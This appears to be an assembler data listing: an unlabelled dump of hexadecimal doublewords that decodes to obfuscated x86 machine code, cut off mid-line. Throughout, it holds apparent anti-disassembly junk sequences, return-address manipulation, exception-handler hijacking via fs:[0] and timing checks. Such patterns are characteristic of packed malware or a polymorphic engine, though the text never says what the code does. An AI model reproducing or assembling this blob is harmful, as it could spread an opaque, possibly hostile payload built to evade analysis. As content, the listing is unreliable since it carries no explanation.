5170E674h dd 18A5BD03h, 805B061Fh, 71E4ADCFh, 613CF1B7h, 0E3830Fh dd 31560000h, 1F2C9995h, 0B60F5F06h, 7BBF66C8h, 6BA2Dh dd 0BD890000h, 61F2C21h, 9E9C18Bh, 46000000h, 541493A3h dd 5C85619Eh, 6004E8C1h, 0D0DC7BB9h, 0CE83Ah, 27E50000h dd 489E9DC0h, 6CBA4ABCh, 8E924BFh, 45000000h, 21B7AB8Dh dd 589BC47Bh, 0E2F76661h, 12958589h, 0C82B061Fh, 0B3F38166h dd 0FD18B56h, 388h, 0FBD38000h, 70E9h, 95295600h, 61F175Dh dd 219D0B5Bh, 8B061F30h, 485h, 8D9D0B00h, 83061F12h, 0BF6607C0h dd 0C0833D01h, 0C7816600h, 0D03B5843h, 8830Fh, 41B30000h dd 38E9h, 8D8BF500h, 0FFFFFFFFh, 85896057h, 61F19A1h, 0E1835B61h dd 1E840F01h, 83000000h, 0FFFFFFA5h, 9D8BFEFFh, 61F2669h dd 49589h, 870F0000h, 0 dd 0E9h, 0B9B58D00h, 0E806235Dh, 0Ah, 4CD059Bh, 0EA781AB0h dd 0DF8BE360h, 6A006A5Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 7B86C355h, 0D068FE3h dd 0AF47B6BDh, 1D4595FFh, 9E9061Fh, 51000000h, 31AA7065h dd 0B36461EFh, 100BB9h, 59B58900h, 83061F11h, 9531FCE1h dd 61F0891h, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 0D2EAB2E7h, 0C02BD4E3h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 34C35141h, 0BA25DA21h dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C3C35141h dd 8DB49C66h, 0FDD8B6A4h, 4E381CCh, 0E843E6D4h, 0Ah, 9E64818h dd 0F717BCA3h, 0BD8B6052h, 61F057Dh, 0C233AD5Fh, 0D003E8D1h dd 7504E983h, 0DBB70FF4h, 13B59529h, 880D061Fh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 52B1C351h, 5061236Ah, 8B3A6EDAh, 1F10E5BDh dd 41BD8906h, 8B061F12h, 1F0B5D95h, 0DE8B6606h, 20C58D8Bh dd 0B529061Fh, 61F1AADh, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 9E95818h, 0A7000000h, 4E783EE6h, 2F81ED1Ch dd 0E0DC08BBh, 8DBD8357h, 61F07h, 41840Fh, 0BD0B0000h dd 61F2089h, 0B8h, 8D8DF900h, 61F4DB0h, 0A7DBD8Bh, 0E1FF061Fh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0AC35343h dd 89FB8351h, 1F0A55B5h, 83D88B06h, 1F137DBDh, 840F0006h dd 408h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 73C35242h, 419D8BEDh, 83061F0Ah, 1F137DBDh, 840F0106h dd 3F3h, 19F59D8Bh, 0BD83061Fh, 61F137Dh, 0AA860F03h, 6A000003h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 72AFC351h, 0F560E4B7h, 6AD98C66h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 9B96C353h, 0CB2411ACh, 0F60AF8D8h, 0C8F0Fh, 8E0F0000h dd 6, 798D29h, 0B5B7061Fh, 6A04E180h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0F70FC353h dd 10E9h, 8279D00h, 0DB339AE4h, 5D5E71F3h, 9A85AF64h, 0FC90A6Ah dd 10784h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 8B0F04CDh, 6, 23C9B589h, 858B061Fh dd 61F0DC1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 11C35242h, 9DBD2321h, 8B061F2Ch, 1F23F1BDh, 0C9853306h dd 8B061F2Eh, 1F080DBDh, 56505006h, 9E8h, 0CF257900h, 7C29041h dd 5F5B0812h, 2404895Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 91C35646h, 28B5B065h, 281AC02Eh, 5DBD8BEDh dd 6A061F14h, 0DEB70F00h, 9A643CBBh, 64986842h, 8B6657E3h dd 243481DAh, 57FC6767h, 23D48A60h, 1F165195h, 95FF6106h dd 61F2DE1h, 0B2558589h, 6A0622h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 348DC4C3h, 0F8D7FF2Dh dd 8BDBBF0Fh, 1ACE9F8h, 85890000h, 61F155Dh, 0B24D858Bh dd 6A0622h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0DDFD9BC3h, 0BD9CA592h, 8B6052CFh, 1F12B995h dd 0C75F6106h, 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 74C3153Bh, 7C052862h dd 0CAD38189h, 0F66F8BCh, 0B58BDEB7h, 622B251h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0EC35747h, 79EDA472h dd 8B23846Ch, 1F13A185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 6A068970h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0F29EC356h dd 27A3FA43h, 858BA77Eh, 61F0DC1h, 77D78166h, 446890Eh dd 9E9h, 4B492700h, 400CDABEh, 50965E86h, 0A59D8B96h, 0FF061F07h dd 22B24DB5h, 13E906h, 6100000h, 1EBF4678h, 268BC9A4h dd 3ED15D0Dh, 4FA404B1h, 0E97F6818h, 8D0FE1F4h, 5, 0F88B6657h dd 2404815Fh, 1E2A1A80h, 0B255858Dh, 6A0622h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 60A4C7C3h dd 0BF13FE9Dh, 3E74D648h, 1FAD9D8Bh, 0E890061Fh, 6, 0B6EAFEC2h dd 0F6086D6h, 8Eh, 505F6100h, 18830Fh, 13E90000h, 7D000000h dd 5A66D900h, 451232F5h, 98F245A6h, 0E6C3BF61h, 0F5908DC2h dd 2DE195FFh, 3350061Fh, 1F134DBDh, 6A615F06h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0DE54C355h, 8AFA7D98h, 7D85C7DCh, 3061F13h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0FE7C355h, 55BD83ADh, 622B2h, 0B840Fh, 21E90000h dd 3000000h, 1F3055BDh, 0C305006h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 13C35141h, 0EF2F45D5h, 0CDEE79FFh, 2D5DBD8Bh dd 0BD0B061Fh, 61F2005h, 2FD98D29h, 0BD83061Fh, 61F137Dh dd 84850F03h, 6A000004h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 0AC14C353h, 8E8EEF8h dd 55000000h, 47740614h, 0FC4740Dh, 288h, 5B1AB700h, 0B255BD83h dd 0F000622h, 44284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 8970BFD8h, 1F0601B5h dd 55B5FF06h, 0F0622B2h, 58Ah, 60BF00h, 95FF6FC6h, 61F1BC9h dd 71D9D29h, 8B60061Fh, 1F0BD19Dh, 65958B06h, 61061F23h dd 0B249B58Bh, 6A0622h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 8B0FCFC3h, 1, 1F8C0FF9h, 0E8000000h dd 13h, 6CCEBB2Ch, 0DDCCE273h, 48E7A7ABh, 56BB54DFh, 898211E2h dd 1F0D25B5h, 6C75B06h, 10001h, 12E8h, 23A4600h, 0D09B5A64h dd 54794527h, 0D097786Dh, 5B19B5A3h, 0E8525050h, 11h, 0B3EC8497h dd 382373DBh, 79B713E2h, 2C78BC76h, 5B61600Dh, 5B53310Fh dd 3489585Ah, 59950924h, 0FF061F0Ch, 22B255B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0B5F2368h, 0FFA8B66h, 95FFDAB7h, 61F1621h, 253977BBh dd 49B58B56h, 6A0622B2h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 55B4C351h, 66626CAFh dd 81A1D381h, 2FF1858Bh, 8FBB061Fh, 8971A75Bh, 0C486h dd 118D8900h, 8B061F2Fh, 1F0B5D95h, 8E806h, 9D6D0000h dd 7F7D67E9h, 0B529CDD6h, 61F20FDh, 4C2835Fh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 75C35141h, 9BBE9AF1h dd 0BD33E334h, 61F14D5h, 0E8205089h, 8, 7C1DA9EAh, 0F5A5C5E1h dd 5FDFBF0Fh, 0C797858Dh, 6A0622h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0B19FBAC3h, 0AB30DDBBh dd 60DE3428h, 10E8h, 31A8EC00h, 0BE54741Dh, 8B59B12Dh dd 11B58B16h, 45858BF3h, 5F061F02h, 35BD8B61h, 89061F20h dd 0B886h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0F50B0D3Ch, 73B32479h dd 5E97Bh, 0C9650000h, 6A60886Ah, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 899815CEh dd 1F2E219Dh, 0DFBF0F06h, 0B255B5FFh, 6A0622h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 9474DDC3h, 0CDF0DC11h, 11950141h, 0FF061F02h, 1F2F5595h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 602105F7h, 0C18134B7h, 0B448D21h, 0BE95061h dd 92000000h, 0BEFC63F0h, 0AC023205h, 3489684Eh, 55006A24h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8E93369h, 0CE000000h, 0BD00F74h, 0FF8E4D4Eh, 22B255B5h dd 8B605206h, 1F05899Dh, 0FF5B6106h, 1F0E1D95h, 69BD8B06h dd 83061F2Ch, 1F2C0DBDh, 840F0006h, 1Eh, 8E0F8BB3h, 5 dd 25C38166h, 0FA8B9692h, 5850F50h, 0BB000000h, 1514941h dd 0B5FFF996h, 622B255h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 1CC35040h, 3144034Bh, 830F60E1h, 0Ch dd 68C0Fh, 0B5290000h, 61F18C1h, 134995FFh, 6A061Fh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0A395E8C3h, 0C80006E8h, 0B5FF3D31h, 622B255h, 0F21BD31h dd 95FF061Fh, 61F1075h, 20CD9589h, 0BD83061Fh, 61F0009h dd 5E840F02h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0DCBCC357h, 0C28BF5CDh dd 8B01B400h, 1F175185h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 2DF1FE8Bh, 8BAC15BAh dd 85893A5Bh, 61F1619h, 890000C6h, 1F059D85h, 9185C706h dd 61F12h, 89000000h, 1F1701B5h, 49BD8906h, 0E9061F14h dd 0FFFFF3D4h, 0CAE2BF60h, 36B930C2h, 610FBE19h, 0D7816660h dd 850F937Eh, 1, 0C18B61FCh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 9BC35747h, 8D891754h, 61F31C1h dd 19BD858Dh, 6050061Fh, 12E9h, 72117200h, 9554E1DDh, 9BFB40F7h dd 0FB683753h, 61F74023h, 8B240489h, 1F08B1BDh, 88D38106h dd 6A10416Ah, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 8B668233h, 0FD8D89FAh, 6A061F08h dd 0FAB70F00h, 2B29BD8Bh, 858D061Fh, 623EBFFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0C7C35747h, 5EC6BFF8h dd 0C08309C7h, 0DF8B6605h, 0D98B5090h, 3800F90h, 0F000000h dd 6AFABFh, 1BB99589h, 6A061Fh, 899D2960h, 0E9061F2Ah dd 6, 0F10CA10Ch, 0FF61C293h, 1F016195h, 0CDBD2906h, 8D061F12h dd 22B1F28Dh, 60D1FF06h, 9A3BA66h, 32759D29h, 8361061Fh dd 1F0EF5BDh, 850F0106h, 6Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 0E9C35545h, 31522257h, 1F08019Dh dd 6AF88B06h, 0EB815702h, 6E5FA1B7h, 489505Bh, 55006A24h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 9B098E16h, 6860FF9h, 8B000000h, 1F1695BDh, 5595FF06h dd 66061F2Fh, 0E906FEBFh, 0C97h, 0E8h, 0ED815D00h, 623EC09h dd 7399D8Bh, 11E9061Fh, 0B3000000h, 0BAD2EB9Bh, 5FF4B5A4h dd 13BC3F92h, 4A9D54A9h, 950929B7h, 61F2F15h, 8EE4858Dh dd 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 6650C1C3h, 489FB8Bh, 0FF64F924h, 35h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 14083773h, 0FE8BB20Bh, 258964h, 66000000h, 870FD98Bh dd 4, 0AD7DBF66h, 102985FFh, 0BB66061Fh, 0FF6AD52Fh, 13E9h dd 0E747BE00h, 5C5462A8h, 0F51E9EBBh, 9A2E821Eh, 44357E45h dd 3291B5FFh, 8589061Fh, 61F0825h, 1CED95FFh, 1DE9061Fh dd 8B000001h, 1F2F959Dh, 8100B006h, 6CBC79D7h, 70E6F961h dd 2AE5BD29h, 71E4061Fh, 6E9h, 0AE536400h, 3CD79868h, 0F1830F61h dd 89000000h, 1F065985h, 0A18D3106h, 0F061F31h, 6BAC8B6h dd 60000000h, 2AE19533h, 0B70F061Fh, 0C18B61F1h, 0EB816651h dd 0C15F96FEh, 0B70F04E8h, 0E2F766FEh, 3880Fh, 8B660000h dd 0E9C82BFEh, 0Eh, 6B043E5Ah, 37227A7h, 8F515E1Dh, 0D18B28A4h dd 2810Fh, 0FA8B0000h, 92E9F8h, 95010000h, 61F0029h, 68E0Fh dd 8D890000h, 61F3259h, 4C44858Bh, 66F95F4Ch, 0D687F781h dd 0F07C083h, 68Fh, 1EDB8100h, 831FB402h, 0CB8100C0h, 27CA6C92h dd 830FD03Bh, 15h, 568B47BBh, 4AE970h, 0E9FC0000h, 5, 70E52673h dd 0FF8D8B2Ah, 31FFFFFFh, 1F1D4D85h, 1E18306h, 2A840Fh dd 0BB660000h, 0A583FED2h, 0FFFFFFFFh, 0BD3353FEh, 61F2E31h dd 4495895Bh, 0F5F4C4Ch, 68Ah, 820F00h, 0E9000000h, 0 dd 6DC4B58Dh, 0BD8B0623h, 61F0739h, 0BD8B006Ah, 61F0211h dd 1D4595FFh, 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0B9F8E0C3h, 0DCAh, 11E8h, 0DE684400h dd 5A0B5CC4h, 8EC80718h, 2A894D8Bh, 0E95F6DD1h, 14h, 0D913ACDDh dd 4D5EE187h, 0E160F89Eh, 0C768901h, 0B08FBDDCh, 66FCE183h dd 8BFCFB8Bh, 1F1021BDh, 6AC02B06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 33E4C355h dd 1F10719Dh, 52D22B06h, 27499529h, 0AD5B061Fh, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0FE1C351h, 38Fh, 0FBBF0F00h dd 880Dh, 0EE900h, 0A0790000h, 0D1423883h, 65F51FB5h, 33D67D9Ch dd 0B5D958Bh, 0CB81061Fh, 67422780h, 20C58D8Bh, 0BD8B061Fh dd 61F2439h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 8F0F5818h, 6, 15C59D8Bh, 0DA8B061Fh, 78DBD83h, 0F00061Fh dd 6E84h, 0FE800h, 2C010000h, 23B06384h, 2D75FE27h, 0BB57C876h dd 0F98B660Bh, 0B85Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0CB1988C3h, 19787F3Fh dd 668FBB1Bh, 0DE9FE8Bh, 0 dd 3317E81Ah, 0B32B27C6h, 0DEB536E8h, 4DB08D8Dh, 0BF66061Fh dd 8589A381h, 61F07F9h, 0D5BFE1FFh, 832EFAC5h, 1F137DBDh dd 840F0006h, 468h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0AC35646h, 0F80EB566h, 4D394770h, 137DBD83h dd 0F01061Fh, 45284h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 8091623Fh, 0C3809BE3h dd 7DBD832Ch, 3061F13h, 3EB860Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0B67081C3h dd 0A1E04FDCh, 8B0FE698h, 6, 13C98529h, 840F061Fh, 0Bh dd 5870Fh, 0EFBF0000h, 606B36D5h, 30299529h, 8C66061Fh dd 0C810FD9h, 0E9000000h, 7, 1D8745BDh, 8BA6FDFAh, 1F2E059Dh dd 4E18006h, 41C38166h, 0FC90A09h, 15A84h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0AC73B6C1h, 818D89C9h, 60061F18h, 0FEADA80h, 688h, 0B1852900h dd 61061F31h, 0DC1858Bh, 8533061Fh, 61F2EC9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 81C35040h, 0B7DF0AD3h dd 8B609085h, 7E956FEh, 43000000h, 9E2AF47Ah, 615B1EFFh dd 0BD8B9050h, 61F074Dh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 8A1779C3h, 8B667E3Ah dd 0A2A68FBh, 481E2F0h, 2EF9D524h, 0B595891Dh, 0FF061F0Dh dd 1F2DE195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 630E6EA6h, 7FB21A42h, 718D8935h dd 89061F31h, 22B25585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 0FC67FEDh, 10E8D8BFh dd 6B000000h, 0B597030Ch, 8B496705h, 8452F3A6h, 0E9578DB9h dd 0Dh, 4EF10179h, 1F01DF5Bh, 8DE13461h, 0DFE95B0Fh, 6A000001h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0F42BC355h, 8BF21C25h, 22B24D85h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 5D4B0675h, 1800C7h, 0BD310000h, 61F3259h, 0B251B58Bh dd 6A0622h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 0BEB81DC3h, 0DFC75829h, 9B589DDh, 8B061F16h dd 1F13A185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 1CF66B55h, 0E8C4AA35h, 49958911h dd 89061F2Ah, 68A0F06h, 89000000h, 1F2DF995h, 0C1858B06h dd 8B061F0Dh, 44689FBh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 61C35040h, 820F8Ch, 8B000000h, 1F19A9BDh dd 0EE89606h, 3D000000h, 869E628h, 7C0449E6h, 0EB43999Eh dd 0F48A60FAh, 0BF505F61h, 4EA12A30h, 50006A96h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 37A8C223h, 0DE9h, 4849D200h, 0A7348F61h, 0DBFD6126h dd 0B5FF0C55h, 622B24Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0D5C35646h, 561BFA4Bh, 2CA58501h, 0E85F061Fh dd 4, 1F03FFh, 0DE85250h, 0C9000000h, 4F41F427h, 9A16C87Fh dd 332F59DDh, 0F5FF8B3h, 810F5731h, 0 dd 50585A5Fh, 5E9h, 32967200h, 448BC975h, 0FA8B0424h, 2BBB008Bh dd 895ACEB9h, 0BF042444h, 52E99AF4h, 55858D58h, 0BF0622B2h dd 33460D19h, 5062B790h, 15858990h, 0FF061F15h, 1F2DE195h dd 710FBB06h, 80616375h, 85C74DDFh, 61F137Dh, 3, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B8C35646h, 0A3BF6642h dd 55BD83ADh, 622B2h, 23840Fh, 8B0F0000h, 15h, 10E9h, 39C56D00h dd 52D4F6B3h, 9936B4CFh, 26E23D2Bh, 1EE9B6h, 0CF800000h dd 0C305059h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0CC35646h, 64393C06h, 805798CBh, 6A5BBCD7h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0EF60C351h, 83680066h, 1F137DBDh, 850F0306h, 3BEh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0E0C35646h, 56CA761Fh dd 5BFA8B66h, 0B255BD83h, 0F000622h, 38D84h, 5820F00h dd 66000000h, 7DC5E781h, 0B255B5FFh, 6A0622h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0CD6F04C3h dd 36693C56h, 95FFF98Ah, 61F1BC9h, 14E9h, 0FBA6C300h, 0AF920F1h dd 9373CB3Dh, 38BD47E4h, 0F67A356Ch, 49B58BCDh, 6A0622B2h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0EAFAC356h, 6830F6Ah, 89000000h, 1F1D0195h dd 106C706h, 0B000100h, 1F0DB19Dh, 8B579606h, 66505FF8h dd 8096FE8Bh, 0B5891BC7h, 61F0A0Dh, 0B255B5FFh, 94B30622h dd 162195FFh, 6A061Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 4E7A5DC3h, 0BD8B718Eh, 61F0C71h dd 285BD8Bh, 0B58B061Fh, 622B249h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 19C35242h, 0F1858B6Eh, 6A061F2Fh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 803C350h, 39BAF9F0h, 0FA4DE27Ah, 539BBB66h dd 30559589h, 8689061Fh, 0C4h, 0A719D89h, 958B061Fh, 61F0B5Dh dd 8840Fh, 890F0000h, 2, 0C2836160h, 859D8904h, 89061F0Dh dd 8D892050h, 61F23E9h, 0C797858Dh, 9D890622h, 61F18F1h dd 0B88689h, 0F8570000h, 51006A5Fh, 2BF5B589h, 0FF5B061Fh dd 22B255B5h, 6890F06h, 89000000h, 1F13B58Dh, 5595FF06h dd 6A061F2Fh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 81CBC350h, 3F2FD59Dh, 8B524773h dd 1F1FF59Dh, 50965F06h, 13E8h, 0C8181500h, 0AB66D839h dd 736421D6h, 3FDBAFDAh, 0C99D8D4Fh, 6A965Fh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0CAB0D4C3h dd 0A4AB5CE4h, 0F516904h, 683h, 4DB50900h, 5B061F03h, 266D8D89h dd 0B5FF061Fh, 622B255h, 1CE1BD8Bh, 95FF061Fh, 61F0E1Dh dd 729ABB66h, 2C0DBD83h, 0F00061Fh, 7684h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 46DC1F06h, 0A98E76ABh, 8BFEBF0Fh, 1F2C359Dh, 52505006h dd 0FD98B66h, 0FE931h, 0CFB20000h, 9663C294h, 8E795FE1h dd 91EBF02Ah, 89585A1Bh, 6A2434h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 5FCA2DC3h, 7B4CCAA8h dd 669F6301h, 0FFDF8FBFh, 22B255B5h, 0B58B6006h, 61F1405h dd 0FF61A3B2h, 1F134995h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 9950369Dh dd 4689B17Dh, 6CDF81FEh, 0FF1B4C22h, 22B255B5h, 0EE906h dd 49730000h, 6A41E9EFh, 435200B0h, 31F9891Ah, 107595FFh dd 6A061Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0B0FC7DC3h, 68493202h, 0BD831DADh, 61F0009h dd 3B840F02h, 60000000h, 0F35BD8Bh, 8B61061Fh, 51858BD9h dd 8B061F17h, 1F2FB59Dh, 0C606h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0BBC35242h, 810Fh, 85C70000h dd 61F1291h, 0 dd 4BE9D88Bh, 0F8FFFFF4h, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0D29D2CC3h, 0BE9h, 82E10300h dd 0DA105207h, 43E9D1AEh, 0AE9h, 0B5943800h, 116971E4h dd 8DD1E95Fh, 1F19BD85h, 8F0F9006h, 10h, 0BE9h, 1106AB00h dd 936DF13Eh, 28C9033Eh, 8B525050h, 0E8310FFBh, 0Eh, 0A9E86C1Dh dd 191B8763h, 6E2C83F4h, 0BF66F434h, 5A5FF3A3h, 850F9058h dd 4, 8E3CBF66h, 8166006Ah, 6A15E5D3h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0E74C9644h, 65858D97h, 6A0623FAh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 9B6EC355h dd 0DBA4A084h, 5EBB412h, 128EBF66h, 8B05C083h, 1F11F59Dh dd 0F88B5006h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 3FFC357h, 9F653618h dd 0F38032B2h, 89006AE9h, 1F2B158Dh, 29006A06h, 1F13999Dh dd 6195FF06h, 6A061F01h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0AEBAC357h, 0E0997DF1h dd 8B9ABE0Bh, 1F20BDBDh, 0F28D8D06h, 890622B1h, 1F0C698Dh dd 0BF665606h, 0FF5B5CAAh, 57006AD1h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0C283E288h dd 0BD83F5C8h, 61F0EF5h, 72850F01h, 0F000000h, 38Ah, 0D98B6600h dd 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0FFE66C3h, 681h, 6DBD0300h, 50061F1Ah, 6E8h dd 907A5700h, 0BF27E025h, 3727562Eh, 2404895Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0F1C35040h, 0B70FF567h dd 5595FFFBh, 8B061F2Fh, 0D6DE9DEh, 0E80000h, 5D000000h dd 0FA6FED81h, 6A0623h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 6661CFC3h, 0EE8FB8Bh, 11000000h dd 2EB2BFFh, 0E944FBEBh, 0E156C18h, 0FD8D8918h, 5F061F0Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 50C35747h dd 0E94458E0h, 6, 595F011Fh, 858DC8B9h, 6228EE4h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 45C35545h, 0FDFA1D87h dd 50DD0DA6h, 6A240489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0F0D7C351h, 716508FEh dd 0FF64B038h, 35h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 9D8BDFC0h, 61F1571h, 258964h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 0F44BC350h, 0EAF94005h, 1DE19589h dd 0FFF9061Fh, 1F102985h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0BFE8F2F5h dd 0D59D8BC0h, 6A061F0Ah, 55006AFFh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0C0DB027Bh dd 0B5FFE341h, 61F1575h, 0E853006Ah, 